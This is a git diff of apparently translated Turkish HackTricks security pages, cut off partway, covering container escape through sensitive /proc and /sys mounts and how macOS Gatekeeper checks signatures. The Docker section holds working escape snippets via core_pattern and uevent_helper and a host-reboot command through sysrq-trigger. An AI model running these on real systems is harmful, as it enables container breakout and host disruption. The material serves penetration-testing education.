[**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 84677e9cb..3d2e55a62 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,23 +2,23 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
-
+
{% embed url="https://websec.nl/" %} -Doğru namespace izolasyonu olmadan `/proc` ve `/sys`'in maruz kalması, saldırı yüzeyinin genişlemesi ve bilgi sızdırma gibi ciddi güvenlik risklerini beraberinde getirir. Bu dizinler, yanlış yapılandırılmış veya yetkisiz bir kullanıcı tarafından erişilen hassas dosyaları içerir ve bu da konteyner kaçışına, ana bilgisayarın değiştirilmesine veya daha fazla saldırıya yardımcı olacak bilgilerin sağlanmasına yol açabilir. Örneğin, `-v /proc:/host/proc` şeklinde yanlış bağlama yapılması, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'u korumasız bırakabilir. +Doğru namespace izolasyonu olmadan `/proc` ve `/sys`'in maruz kalması, saldırı yüzeyinin genişlemesi ve bilgi sızdırma gibi ciddi güvenlik risklerini beraberinde getirir. Bu dizinler, yanlış yapılandırılmış veya yetkisiz bir kullanıcı tarafından erişilen hassas dosyaları içerir ve bu da konteyner kaçışına, ana bilgisayarın değiştirilmesine veya daha fazla saldırıya yardımcı olacak bilgilerin sağlanmasına neden olabilir. Örneğin, `-v /proc:/host/proc` şeklinde yanlış bağlama yapılması, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'u korumasız bırakabilir. **Her potansiyel zafiyetin daha fazla ayrıntısını** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)** adresinde bulabilirsiniz.** @@ -31,8 +31,8 @@ Bu dizin, genellikle `sysctl(2)` aracılığıyla çekirdek değişkenlerini de #### **`/proc/sys/kernel/core_pattern`** * [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) adresinde açıklanmıştır. -* Çekirdek dosyası oluşturulduğunda ilk 128 baytın argümanlar olarak kullanılacağı bir programın tanımlanmasına izin verir. Dosya bir boru `|` ile başlıyorsa, bu kod yürütmeyle sonuçlanabilir. -* **Test Etme ve Sömürü Örneği**: +* İlk 128 baytı argümanlar olarak alan bir programın çekirdek dosyası oluşturulduğunda yürütülmesine izin verir. Bu, dosyanın bir boru `|` ile başlaması durumunda kod yürütmeyle sonuçlanabilir. +* **Test ve Sömürü Örneği**: ```bash [ -w /proc/sys/kernel/core_pattern ] && echo Yes # Yazma erişimini test et @@ -44,11 +44,11 @@ sleep 5 && ./crash & # İşleyiciyi tetikle #### **`/proc/sys/kernel/modprobe`** * [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde detaylı olarak açıklanmıştır. -* Çekirdek modül yükleyicisinin yolunu içerir ve çekirdek modüllerini yüklemek için çağrılır. +* Çekirdek modül yükleyicisinin yolunu içerir, çekirdek modüllerini yüklemek için çağrılır. * **Erişimi Kontrol Etme Örneği**: ```bash -ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et +ls -l $(cat /proc/sys/kernel/modprobe) # modprobe'a erişimi kontrol et ``` #### **`/proc/sys/vm/panic_on_oom`** @@ -64,8 +64,8 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et #### **`/proc/sys/fs/binfmt_misc`** * Sihirli sayılarına dayalı olmayan ikili biçimler için yorumlayıcıları kaydetmeye olanak tanır. -* `/proc/sys/fs/binfmt_misc/register` yazılabilirse, ayrıcalık yükseltmesine veya kök kabuğu erişimine yol açabilir. -* İlgili saldırı ve açıklama: +* `/proc/sys/fs/binfmt_misc/register` yazılabilirse ayrıcalık yükseltmesine veya kök kabuk erişimine yol açabilir. +* İlgili sömürü ve açıklama: * [binfmt\_misc ile yoksul adamın kök kiti](https://github.com/toffan/binfmt\_misc) * Detaylı öğretici: [Video bağlantısı](https://www.youtube.com/watch?v=WBC7hhgMvQQ) @@ -73,12 +73,12 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et #### **`/proc/config.gz`** -* `CONFIG_IKCONFIG_PROC` etkinse, çekirdek yapılandırmasını ortaya çıkarabilir. +* `CONFIG_IKCONFIG_PROC` etkinse çekirdek yapılandırmasını ortaya çıkarabilir. * Çalışan çekirdekteki zafiyetleri belirlemek için saldırganlar için faydalıdır. #### **`/proc/sysrq-trigger`** -* Sysrq komutlarını çağırmaya izin verir ve potansiyel olarak anında sistem yeniden başlatmalar veya diğer kritik işlemlere neden olabilir. +* Sysrq komutlarını çağırmaya izin verir, potansiyel olarak anında sistem yeniden başlatmalar veya diğer kritik işlemlere neden olabilir. * **Ana Bilgisayarı Yeniden Başlatma Örneği**: ```bash @@ -88,46 +88,46 @@ echo b > /proc/sysrq-trigger # Ana bilgisayarı yeniden başlatır #### **`/proc/kmsg`** * Çekirdek halka tamponu mesajlarını açığa çıkarır. -* Çekirdek saldırılarında, adres sızıntılarında ve hassas sistem bilgilerinde yardımcı olabilir. +* Çekirdek saldırılarına yardımcı olabilir, adres sızıntılarına ve hassas sistem bilgilerine sağlayabilir. #### **`/proc/kallsyms`** * Çekirdek dışa aktarılan sembolleri ve adreslerini listeler. -* Özellikle KASLR'yi aşmak için çekirdek saldırı geliştirme için temel öneme sahiptir. -* Adres bilgileri, `kptr_restrict`'in `1` veya `2` olarak ayarlanmasıyla sınırlıdır. +* Özellikle KASLR'yi aşmak için çekirdek sömürü geliştirme için temel öneme sahiptir. +* Adres bilgileri `kptr_restrict`'in `1` veya `2` olarak ayarlanmasıyla sınırlıdır. * Detaylar [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde bulunabilir. #### **`/proc/[pid]/mem`** * Çekirdek bellek cihazı `/dev/mem` ile etkileşim sağlar. * Tarihsel olarak ayrıcalık yükseltme saldırılarına karşı savunmasızdır. -* Daha fazla bilgi için [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresine bakabilirsiniz. +* Daha fazlası [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde bulunabilir. #### **`/proc/kcore`** -* ELF çekirdek biçiminde sistem fiziksel belleğini temsil eder. +* Sistemin fiziksel belleğini ELF çekirdek biçiminde temsil eder. * Okuma, ana bilgisayar sistemi ve diğer konteynerlerin bellek içeriğini sızdırabilir. -* Büyük dosya boyutu, okuma sorunlarına veya yazılım çökmelerine yol açabilir. -* Detaylı kullanım [2019'da /proc/kcore Dökme](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) adresinde bulunabilir. +* Büyük dosya boyutu okuma sorunlarına veya yazılım çökmelerine yol açabilir. +* Ayrıntılı kullanım [2019'da /proc/kcore Dökme](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) adresinde bulunabilir. #### **`/proc/kmem`** -* Çekirdek sanal belleği temsil eden `/dev/kmem` için alternatif bir arayüz. -* Okuma ve yazma izni verir, dolayısıyla çekirdek belleğinin doğrudan değiştirilmesine olanak tanır. +* Çekirdek sanal belleği temsil eden `/dev/kmem` için alternatif arayüz. +* Okuma ve yazma izin verir, dolayısıyla çekirdek belleğinin doğrudan değiştirilmesine olanak tanır. #### **`/proc/mem`** -* Fiziksel belleği temsil eden `/dev/mem` için alternatif bir arayüz. -* Okuma ve yazma izni verir, tüm belleğin değiştirilmesi sanal adreslerin fiziksel adreslere çözülmesini gerektirir. +* Fiziksel belleği temsil eden `/dev/mem` için alternatif arayüz. +* Okuma ve yazma izin verir, tüm belleğin değiştirilmesi sanal adreslerin fiziksel adreslere çözülmesini gerektirir. #### **`/proc/sched_debug`** * PID ad alanı korumalarını atlayarak işlem zamanlama bilgilerini döndürür. -* İşlem adlarını, kimlikleri ve cgroup kimliklerini açığa çıkarır. +* İşlem adlarını, kimlikleri ve cgroup tanımlayıcılarını açığa çıkarır. #### **`/proc/[pid]/mountinfo`** -* İşlem bağlantı noktaları hakkında bilgi sağlar. +* İşlem montaj ad alanındaki bağlantı noktaları hakkında bilgi sağlar. * Konteyner `rootfs` veya görüntünün konumunu açığa çıkarır. ### `/sys` Zafiyetleri @@ -135,18 +135,18 @@ echo b > /proc/sysrq-trigger # Ana bilgisayarı yeniden başlatır #### **`/sys/kernel/uevent_helper`** * Çekirdek cihaz `uevent`'leri işlemek için kullanılır. -* `/sys/kernel/uevent_helper`'a yazmak, `uevent` tetikleyicileri üzerine keyfi komut dosyalarını yürütebilir. -* **Sömürü Örneği için**: %%%bash +* `/sys/kernel/uevent_helper`'a yazmak, `uevent` tetikleyicileri üzerine keyfi komut dosyalarını yürütmesine olanak tanır. +* **Sömürü için Örnek**: %%%bash ### Bir yük oluşturur echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper -### Konteyner için OverlayFS bağlantı noktasından ana bilgisayar yolunu bulur +### Konteyner için OverlayFS bağlama noktasından ana bilgisayar yolunu bulur host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab) -### uevent\_helper'ı kötü niyetli yardımcıya ayarlar +### uevent\_helper'ı kötü amaçlı yardımcıya ayarlar echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper @@ -173,7 +173,7 @@ cat /output %%% #### **`/sys/firmware/efi/vars` ve `/sys/firmware/efi/efivars`** * NVRAM'daki EFI değişkenleriyle etkileşim için arayüzler sunar. -* Yanlış yapılandırma veya kötüye kullanım, tuğla gibi dizüstü bilgisayarlar veya başlatılamayan ana bilgisayar makinelerine yol açabilir. +* Yanlış yapılandırma veya istismar, tuğla haline gelen dizüstü bilgisayarlar veya başlatılamayan ana bilgisayar makinelerine yol açabilir. #### **`/sys/kernel/debug`** @@ -186,20 +186,20 @@ cat /output %%% * [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf) * [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf) -
+
{% embed url="https://websec.nl/" %}
-Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin**. +* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek katkıda bulunun.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md index adbb534e8..e1066d43d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md @@ -2,46 +2,46 @@
-AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! -* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **Bir siber güvenlik şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.** * **Hacking püf noktalarınızı göndererek HackTricks deposuna** [**PR göndererek**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud deposuna**](https://github.com/carlospolop/hacktricks-cloud) **katkıda bulunun**
-
+
{% embed url="https://websec.nl/" %} ## Gatekeeper -**Gatekeeper**, Mac işletim sistemleri için geliştirilen bir güvenlik özelliğidir ve kullanıcıların sistemlerinde **yalnızca güvenilir yazılımları çalıştırmalarını** sağlamayı amaçlar. Kullanıcının **App Store dışındaki kaynaklardan** (uygulama, eklenti veya yükleyici paketi gibi) indirdiği ve açmaya çalıştığı yazılımı **doğrulayarak** çalışmasını sağlar. +**Gatekeeper**, Mac işletim sistemleri için geliştirilen bir güvenlik özelliğidir ve kullanıcıların sistemlerinde **yalnızca güvenilir yazılımları çalıştırmalarını** sağlamayı amaçlar. Kullanıcının **App Store dışındaki kaynaklardan** (uygulama, eklenti veya yükleyici paketi gibi) indirdiği ve açmaya çalıştığı yazılımı **doğrulayarak** çalışır. -Gatekeeper'ın ana mekanizması, **doğrulama** sürecinde yatar. İndirilen yazılımın **tanınmış bir geliştirici tarafından imzalandığını** kontrol eder, yazılımın otantikliğini sağlar. Ayrıca, yazılımın **Apple tarafından noterize edilip edilmediğini** de kontrol eder, bu da yazılımın bilinen kötü amaçlı içerikten yoksun olduğunu ve noterizasyondan sonra değiştirilmediğini doğrular. +Gatekeeper'ın ana mekanizması, **doğrulama** sürecinde yatar. İndirilen yazılımın **tanınmış bir geliştirici tarafından imzalandığını** kontrol eder, yazılımın otantikliğini sağlar. Ayrıca, yazılımın **Apple tarafından noterlenip noterlenmediğini** de belirler, bu da yazılımın bilinen kötü amaçlı içerikten yoksun olduğunu ve noterlemeden sonra değiştirilmediğini doğrular. -Ek olarak, Gatekeeper, kullanıcıların indirdikleri yazılımın ilk kez açılmasını **onaylamalarını isteyerek** kullanıcı kontrolünü ve güvenliğini güçlendirir. Bu koruma, kullanıcıların zararlı olabilecek yürütülebilir kodları yanlışlıkla zararsız veri dosyası olarak yanlış anlamalarını önler. +Ek olarak, Gatekeeper, kullanıcı kontrolünü ve güvenliğini **indirilen yazılımın ilk kez açılmasını onaylamak için kullanıcıları uyararak** güçlendirir. Bu koruma, kullanıcıların zararlı olabilecek yürütülebilir kodları yanlışlıkla zararsız veri dosyası olarak yanlış anlamalarını engellemeye yardımcı olur. ### Uygulama İmzaları -Uygulama imzaları, Apple'ın güvenlik altyapısının önemli bir bileşenidir. Bunlar, yazılım yazarının (geliştiricinin) kimliğini **doğrulamak** ve kodun son imzalandığından beri değiştirilmediğinden emin olmak için kullanılır. +Uygulama imzaları, Apple'ın güvenlik altyapısının kritik bir bileşenidir. Bunlar, yazılım yazarının (geliştiricinin) kimliğini **doğrulamak** ve kodun son imzalandığından beri değiştirilmediğinden emin olmak için kullanılır. İşleyişi şöyle: -1. **Uygulamanın İmzalanması:** Bir geliştirici uygulamasını dağıtmaya hazır olduğunda, uygulamayı **özel bir anahtar kullanarak imzalar**. Bu özel anahtar, geliştiricinin Apple Geliştirici Programı'na kaydolduğunda Apple'ın geliştiriciye verdiği bir **sertifika ile ilişkilidir**. İmzalama işlemi, uygulamanın tüm parçalarının kriptografik bir özetini oluşturmayı ve bu özeti geliştiricinin özel anahtarıyla şifrelemeyi içerir. -2. **Uygulamanın Dağıtılması:** İmzalanan uygulama, geliştiricinin sertifikasıyla birlikte kullanıcılara dağıtılır, bu sertifika ilgili genel anahtarı içerir. -3. **Uygulamanın Doğrulanması:** Bir kullanıcı uygulamayı indirip çalıştırmaya çalıştığında, Mac işletim sistemi geliştiricinin sertifikasındaki genel anahtarı kullanarak özeti şifreler. Daha sonra uygulamanın mevcut durumuna dayanarak özeti yeniden hesaplar ve bu özeti şifrelenmiş özetiyle karşılaştırır. Eşleşirse, bu, uygulamanın geliştirici tarafından imzalandığından beri **değiştirilmediği** anlamına gelir ve sistem uygulamanın çalışmasına izin verir. +1. **Uygulamanın İmzalanması:** Bir geliştirici uygulamasını dağıtmaya hazır olduğunda, uygulamayı **özel bir anahtar kullanarak imzalar**. Bu özel anahtar, geliştiricinin Apple Geliştirici Programı'na kaydolduğunda Apple'ın geliştiriciye verdiği bir **sertifika** ile ilişkilidir. İmzalama işlemi, uygulamanın tüm parçalarının kriptografik bir özetini oluşturmayı ve bu özeti geliştiricinin özel anahtarıyla şifrelemeyi içerir. +2. **Uygulamanın Dağıtılması:** İmzalanan uygulama, kullanıcılara geliştiricinin sertifikasını içeren birlikte dağıtılır, bu sertifika karşılık gelen genel anahtarı içerir. +3. **Uygulamanın Doğrulanması:** Bir kullanıcı uygulamayı indirip çalıştırmaya çalıştığında, Mac işletim sistemi geliştiricinin sertifikasındaki genel anahtarı kullanarak özeti şifreler. Daha sonra uygulamanın mevcut durumuna dayanarak özeti yeniden hesaplar ve bu şifrelenmiş özeti karşılaştırır. Eşleşirse, bu, uygulamanın geliştirici tarafından imzalandığından beri **değiştirilmediği** anlamına gelir ve sistem uygulamanın çalışmasına izin verir. -Uygulama imzaları, Apple'ın Gatekeeper teknolojisinin önemli bir parçasıdır. Bir kullanıcı **internetten indirilen bir uygulamayı açmaya çalıştığında**, Gatekeeper uygulama imzasını doğrular. Eğer Apple tarafından bilinen bir geliştiriciye verilen bir sertifika ile imzalanmışsa ve kod değiştirilmemişse, Gatekeeper uygulamanın çalışmasına izin verir. Aksi takdirde, uygulamayı engeller ve kullanıcıyı uyarır. +Uygulama imzaları, Apple'ın Gatekeeper teknolojisinin önemli bir parçasıdır. Bir kullanıcı **internetten indirilen bir uygulamayı açmaya çalıştığında**, Gatekeeper uygulama imzasını doğrular. Eğer Apple tarafından bilinen bir geliştiriciye verilen bir sertifika ile imzalanmışsa ve kod değiştirilmemişse, Gatekeeper uygulamanın çalışmasına izin verir. Aksi takdirde uygulamayı engeller ve kullanıcıyı uyarır. -macOS Catalina'dan itibaren, **Gatekeeper ayrıca uygulamanın Apple tarafından noterize edilip edilmediğini** de kontrol eder, ek bir güvenlik katmanı ekler. Noterizasyon süreci, uygulamayı bilinen güvenlik sorunları ve kötü amaçlı kodlar açısından kontrol eder ve bu kontrolleri geçerse, Apple uygulamaya Gatekeeper'ın doğrulayabileceği bir bileşen ekler. +macOS Catalina'dan itibaren, **Gatekeeper ayrıca uygulamanın Apple tarafından noterlenip noterlenmediğini de kontrol eder**, ek bir güvenlik katmanı ekler. Noterleme süreci, uygulamayı bilinen güvenlik sorunları ve kötü amaçlı kodlar açısından kontrol eder ve bu kontrolleri geçerse, Apple uygulamaya Gatekeeper'ın doğrulayabileceği bir bilet ekler. #### İmzaları Kontrol Etme -Bazı **kötü amaçlı yazılım örneğini kontrol ederken** her zaman **binary'nin imzasını kontrol etmelisiniz**, çünkü **imzayı atan geliştirici** zaten **kötü amaçlı yazılımla ilişkili** olabilir. +Bazı **kötü amaçlı yazılım örneğini** kontrol ederken her zaman **binary'nin imzasını kontrol etmelisiniz**, çünkü **imzayı atan geliştirici** zaten **kötü amaçlı yazılımla ilişkili** olabilir. ```bash # Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -60,17 +60,17 @@ codesign -s toolsdemo ``` ### Notarizasyon -Apple'ın notarizasyon süreci, kullanıcıları potansiyel olarak zararlı yazılımlardan korumak için ek bir güvenlik önlemi olarak hizmet verir. Bu, geliştiricinin uygulamasını Apple'ın Notary Service tarafından incelenmesi için sunmasıyla gerçekleşir, bu da App Review ile karıştırılmamalıdır. Bu hizmet, gönderilen yazılımı **zararlı içerik** ve kod imzalama ile ilgili olası sorunları inceleyen **otomatik bir sistem**dir. +Apple'ın notarizasyon süreci, kullanıcıları potansiyel olarak zararlı yazılımlardan korumak için ek bir güvenlik önlemi olarak hizmet verir. Bu, geliştiricinin uygulamasını Apple'ın Notary Service tarafından incelenmesi için sunmasıyla gerçekleşir, bu da App Review ile karıştırılmamalıdır. Bu hizmet, gönderilen yazılımı kötü amaçlı içerik ve kod imzalama ile ilgili olası sorunlar açısından inceleyen otomatik bir sistemdir. -Eğer yazılım bu incelemeyi **sorunsuz bir şekilde** geçerse, Notary Service bir notarizasyon bileti oluşturur. Geliştiricinin daha sonra bu bileti yazılımlarına **eklemesi** gerekir, bu işlem 'stapling' olarak bilinir. Ayrıca, notarizasyon bileti de çevrimiçi olarak yayınlanır ve Gatekeeper, Apple'ın güvenlik teknolojisi, buna erişebilir. +Yazılım bu incelemeyi herhangi bir endişe uyandırmadan geçerse, Notary Service bir notarizasyon bileti oluşturur. Geliştiricinin daha sonra bu bileti yazılımlarına eklemesi gerekmektedir, bu işlem 'stapling' olarak bilinir. Ayrıca, notarizasyon bileti de çevrimiçi olarak yayınlanır ve Gatekeeper, Apple'ın güvenlik teknolojisi, buna erişebilir. -Kullanıcı yazılımı ilk kez yüklediğinde veya çalıştırdığında, yürütülebilir dosyaya eklenmiş veya çevrimiçi bulunan notarizasyon bileti **Gatekeeper'a yazılımın Apple tarafından notarize edildiğini bildirir**. Sonuç olarak, Gatekeeper, kullanıcıya yazılımın Apple tarafından zararlı içerik açısından kontrol edildiğini belirten açıklayıcı bir mesaj gösterir. Bu süreç, kullanıcıların sistemlerine yükledikleri veya çalıştırdıkları yazılımların güvenliği konusundaki güvenlerini artırır. +Kullanıcının yazılımı ilk kez yüklediğinde veya çalıştırdığında, yürütülebilir dosyaya eklenmiş veya çevrimiçi bulunan notarizasyon bileti - Gatekeeper'a yazılımın Apple tarafından notarize edildiğini bildirir. Sonuç olarak, Gatekeeper, kullanıcıya yazılımın Apple tarafından kötü amaçlı içerikler için kontrol edildiğini belirten açıklayıcı bir mesaj gösterir. Bu süreç, kullanıcıların sistemlerine yükledikleri veya çalıştırdıkları yazılımların güvenliği konusundaki güvenini artırır. ### GateKeeper'ın Sıralanması -GateKeeper, güvenilmeyen uygulamaların yürütülmesini engelleyen **birkaç güvenlik bileşeni** ve aynı zamanda **bileşenlerden biri**dir. +GateKeeper, güvenilmeyen uygulamaların yürütülmesini engelleyen birkaç güvenlik bileşeninden oluşur ve aynı zamanda bu bileşenlerden biridir. -GateKeeper'ın **durumunu** görmek mümkündür: +GateKeeper'ın durumunu görmek mümkündür: ```bash # Check the status spctl --status @@ -79,11 +79,11 @@ spctl --status GateKeeper imza kontrollerinin yalnızca **Karantina özniteliğine sahip dosyalara** uygulandığını unutmayın. {% endhint %} -GateKeeper, bir ikili dosyanın yürütülebilir olup olmadığını **tercihlere ve imzaya** göre kontrol edecektir: +GateKeeper, bir ikili dosyanın yürütülebilir olup olmadığını **tercihlere ve imzaya** göre kontrol eder:
-Bu yapılandırmayı tutan veritabanı **`/var/db/SystemPolicy`** konumundadır. Bu veritabanını kök olarak kontrol edebilirsiniz: +Bu yapılandırmayı tutan veritabanı **`/var/db/SystemPolicy`** konumundadır. Bu veritabanını kök olarak şu şekilde kontrol edebilirsiniz: ```bash # Open database sqlite3 /var/db/SystemPolicy @@ -97,10 +97,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID [...] ``` -Not: İlk kuralın "**App Store**" ile bittiğine ve ikincisinin "**Developer ID**" ile bittiğine dikkat edin ve önceki görüntüde **App Store ve tanımlanmış geliştiricilerden uygulamaları çalıştırmaya izin verildiği** unutulmamalıdır.\ +Not: İlk kuralın "**App Store**" ile bittiğine ve ikincisinin "**Developer ID**" ile bittiğine dikkat edin ve önceki görüntüde **App Store ve tanımlanmış geliştiricilerden uygulamaları çalıştırmaya izin verildiği**.\ Eğer o ayarı App Store olarak **değiştirirseniz, "Notarized Developer ID" kuralları kaybolacaktır**. -Ayrıca **GKE türünde binlerce kural** bulunmaktadır: +Ayrıca **binlerce GKE türünde kural** bulunmaktadır: ```bash SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5; cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE @@ -109,9 +109,9 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE ``` -Bu, **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** ve **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`** dosyalarından gelen karmaşalardır. +Bu, **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** ve **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`** dosyalarından gelen karma değerlerdir. -Önceki bilgileri listelemek için şunu da kullanabilirsiniz: +Ya da önceki bilgileri şu şekilde listeleyebilirsiniz: ```bash sudo spctl --list ``` @@ -150,25 +150,25 @@ spctl --assess -v /Applications/App.app ``` ### Karantina Dosyaları -Bir uygulama veya dosya indirildiğinde, macOS'taki belirli uygulamalar (örneğin web tarayıcıları veya e-posta istemcileri), genellikle "**karantina bayrağı**" olarak bilinen genişletilmiş bir dosya özniteliği ekler. Bu öznitelik, dosyayı güvenilmeyen bir kaynaktan (internet) geldiği ve potansiyel riskler taşıdığı şeklinde işaretlemek için bir güvenlik önlemi olarak hareket eder. Ancak, tüm uygulamalar bu özniteliği eklemeyebilir, örneğin, yaygın BitTorrent istemci yazılımları genellikle bu süreci atlar. +Bir uygulama veya dosya indirildiğinde, web tarayıcıları veya e-posta istemcileri gibi belirli macOS uygulamaları indirilen dosyaya genellikle "**karantina bayrağı**" olarak bilinen bir genişletilmiş dosya özniteliği ekler. Bu öznitelik, dosyayı güvenilmeyen bir kaynaktan (internet) geldiği ve potansiyel riskler taşıdığı 